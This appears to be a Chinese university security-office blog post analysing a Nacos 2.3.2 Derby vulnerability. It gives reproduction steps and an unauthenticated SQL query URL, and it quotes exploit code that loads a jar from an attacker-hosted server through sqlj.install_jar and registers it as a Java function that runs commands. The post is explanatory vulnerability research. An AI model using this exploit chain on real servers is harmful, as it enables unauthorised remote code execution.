欢迎访问安徽师范大学 网络安全与信息化办公室网站!

安全技术专栏

Nacos`0 day`漏洞分析

点击量: 时间:2024-07-21 编辑:安徽师范大学Abandon战队卢子文   终审:吴伟  来源:网络安全与信息化办公室

笔者的第一篇文章,想和大家一起分析一下上周比较火的nacos 漏洞。

漏洞复现

网上的github项目已经被删除,大家需要自己找一下。

接着下载nacos的项目,可以去nacos官网下载,然后选择2.3.2的版本

https://download.nacos.io/nacos-server/nacos-server-2.3.2.zip

下载后,笔者选择同时用本机做攻击机和靶机,来进行漏洞的复现

启动nacos的环境,进入bin目录下

startup.cmd -m standalone

运行攻击脚本

python service.py

python exploit.py

漏洞分析

首先我们看一下之前爆出来的Nacos sql注入漏洞. https://github.com/alibaba/nacos/issues/4463

在com/alibaba/nacos/config/server/controller/ConfigOpsController.java /derby接口下,攻击者可以未授权进行sql语句的执行,下面是修复后的代码,加了@Secured进行认证,防止攻击者未授权访问接口。我们直接从网上下载后进行启动,没有开启鉴权,所以可以直接访问,进行sql语句的执行。

http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20

//修复后的代码,加入了Secured进行认证 @GetMapping(value = "/derby")

@Secured(action = ActionTypes.READ, resource = "nacos/admin")

public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) { String selectSign = "SELECT";

String limitSign = "ROWS FETCH NEXT";

String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";

try {

if (!DatasourceConfiguration.isEmbeddedStorage()) {

return RestResultUtils.failed("The current storage mode is not Derby");

}

LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource

.getInstance().getDataSource();

if (StringUtils.startsWithIgnoreCase(sql, selectSign)) { if (!StringUtils.containsIgnoreCase(sql, limitSign)) {

sql += limit;

}

JdbcTemplate template = dataSourceService.getJdbcTemplate();

// queryForList不能操作,只能查询

List<Map<String, Object>> result = template.queryForList(sql); return RestResultUtils.success(result);

}

return RestResultUtils.failed("Only query statements are allowed to be executed");

} catch (Exception e) {

return RestResultUtils.failed(e.getMessage());

}

}

看完第一个接口我们来看这个文件下的/data/removal接口

@PostMapping(value = "/data/removal")

@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")

public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) {

DeferredResult<RestResult<String>> response = new DeferredResult<>(); if (!DatasourceConfiguration.isEmbeddedStorage()) {

response.setResult(RestResultUtils.failed("Limited to embedded storage mode")); return response;

}

DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class); WebUtils.onFileUpload(multipartFile, file -> {

NotifyCenter.publishEvent(new DerbyImportEvent(false));

//使用dataImport方法

databaseOperate.dataImport(file).whenComplete((result, ex) -> { NotifyCenter.publishEvent(new DerbyImportEvent(true));

if (Objects.nonNull(ex)) {

response.setResult(RestResultUtils.failed(ex.getMessage())); return;

}

response.setResult(result);

});

}, response);

return response;

}

进行文件的上传,然后跟进dataImport方法

futures.add(CompletableFuture.runAsync(() -> results.add(doDataImport(jdbcTemplate, sqls))));

继续跟进doDataImport方法,看看是怎么执行的

default Boolean doDataImport(JdbcTemplate template, List<ModifyRequest> requests)

{

final String[] sql =

requests.stream().map(ModifyRequest::getSql).map(DerbyUtils::insertStatementCorrec tion)

.toArray(String[]::new);

//开始执行

int[] affect = template.batchUpdate(sql);

return IntStream.of(affect).count() == requests.size();

}

这里就可以看到是由将file中的sql语句逐行加载,然后使用template.batchUpdata进行执行,batchUpdate(sql)无法进行查询,用于执行批量的更新、插入或删除操作。

我们传一个查询的sql语句,显示不允许查询。

最后我们就可以看Poc是如何处理的了,poc分为2个部分

1.service.py

将执行命令的payload用flask框架,放在了服务器上。

2.exploit.py分析一下关键代码

for i in range(0,sys.maxsize):

//不断循环生成id

id =''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))

// 导入一个类到数据库中,就是服务器上的payload

post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n

// 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库

CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n

// 把服务器上的payload拿来,创建一个自定义函数 `S_EXAMPLE_{id}`,接收一个参数

CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME'test.poc.Example.exec'\n""".format(id=id,service=service);

// 执行 S_EXAMPLE_{id}('{cmd}')函数,然后返回结果

get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);


这样我们就分析完了, /derby接口只能查询, 不能进行操作,/data/removal接口只能操作,不能查询,我们先通过/data/removal接口进行恶意sql语句的上传,将我们的payload注入数据库中,创建函数,然后使用查询的 /derby接口,调用函数执行命令,并返回结果。

相关文章: